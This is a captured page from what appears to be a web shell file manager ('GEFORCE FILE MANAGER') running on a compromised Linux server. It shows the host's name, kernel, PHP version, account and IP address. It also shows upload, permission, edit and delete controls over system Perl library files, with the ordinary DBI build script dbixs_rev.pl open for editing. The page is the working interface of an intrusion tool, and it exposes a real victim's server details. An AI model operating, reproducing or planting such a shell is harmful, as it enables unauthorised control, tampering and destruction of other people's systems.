[ SYSTEM ]: Linux srv.persadacompanies.com 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
[ SERVER ]: Apache | PHP: 8.4.20
[ USER ]: persadamedika | IP: 45.64.1.108
GEFORCE FILE MANAGER
/
usr
/
lib64
/
perl5
/
vendor_perl
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📁 Compress
SET
[ DEL ]
📁 DBD
SET
[ DEL ]
📁 DBI
SET
[ DEL ]
📁 Data
SET
[ DEL ]
📁 Devel
SET
[ DEL ]
📁 Digest
SET
[ DEL ]
📁 Encode
SET
[ DEL ]
📁 File
SET
[ DEL ]
📁 Filter
SET
[ DEL ]
📁 HTML
SET
[ DEL ]
📁 IO
SET
[ DEL ]
📁 IPC
SET
[ DEL ]
📁 JSON
SET
[ DEL ]
📁 List
SET
[ DEL ]
📁 MIME
SET
[ DEL ]
📁 Math
SET
[ DEL ]
📁 Net
SET
[ DEL ]
📁 Params
SET
[ DEL ]
📁 Scalar
SET
[ DEL ]
📁 Storable
SET
[ DEL ]
📁 Sub
SET
[ DEL ]
📁 Sys
SET
[ DEL ]
📁 Term
SET
[ DEL ]
📁 Time
SET
[ DEL ]
📁 Unicode
SET
[ DEL ]
📁 YAML
SET
[ DEL ]
📁 auto
SET
[ DEL ]
📁 common
SET
[ DEL ]
📁 threads
SET
[ DEL ]
📁 version
SET
[ DEL ]
📄 Cwd.pm
21,799 B
SET
[ EDIT ]
|
[ DEL ]
📄 DBI.pm
316,221 B
SET
[ EDIT ]
|
[ DEL ]
📄 DB_File.pm
65,108 B
SET
[ EDIT ]
|
[ DEL ]
📄 Encode.pm
35,393 B
SET
[ EDIT ]
|
[ DEL ]
📄 Socket.pm
37,062 B
SET
[ EDIT ]
|
[ DEL ]
📄 Storable.pm
49,244 B
SET
[ EDIT ]
|
[ DEL ]
📄 dbixs_rev.pl
1,542 B
SET
[ EDIT ]
|
[ DEL ]
📄 encoding.pm
22,950 B
SET
[ EDIT ]
|
[ DEL ]
📄 threads.pm
36,915 B
SET
[ EDIT ]
|
[ DEL ]
📄 version.pm
3,549 B
SET
[ EDIT ]
|
[ DEL ]
📄 version.pod
9,832 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: dbixs_rev.pl
#!/usr/bin/perl -w use strict; my $dbixs_rev_file = "dbixs_rev.h"; my $is_make_dist; my $svnversion; if (is_dbi_svn_dir(".")) { $svnversion = `svnversion -n`; } elsif (is_dbi_svn_dir("..")) { # presumably we're in a subdirectory because the user is doing a 'make dist' $svnversion = `svnversion -n ..`; $is_make_dist = 1; } else { # presumably we're being run by an end-user because their file timestamps # got messed up print "Skipping regeneration of $dbixs_rev_file\n"; utime(time(), time(), $dbixs_rev_file); # update modification time exit 0; } my @warn; die "Neither current directory nor parent directory are an svn working copy\n" unless $svnversion and $svnversion =~ m/^\d+/; push @warn, "Mixed revision working copy ($svnversion:$1)" if $svnversion =~ s/:(\d+)//; push @warn, "Code modified since last checkin" if $svnversion =~ s/[MS]+$//; warn "$dbixs_rev_file warning: $_\n" for @warn; die "$0 failed\n" if $is_make_dist && @warn; write_header($dbixs_rev_file, DBIXS_REVISION => $svnversion, \@warn); sub write_header { my ($file, $macro, $version, $comments_ref) = @_; open my $fh, ">$file" or die "Can't open $file: $!\n"; unshift @$comments_ref, scalar localtime(time); print $fh "/* $_ */\n" for @$comments_ref; print $fh "#define $macro $version\n"; close $fh or die "Error closing $file: $!\n"; print "Wrote $macro $version to $file\n"; } sub is_dbi_svn_dir { my ($dir) = @_; return (-d "$dir/.svn" && -f "$dir/MANIFEST.SKIP"); }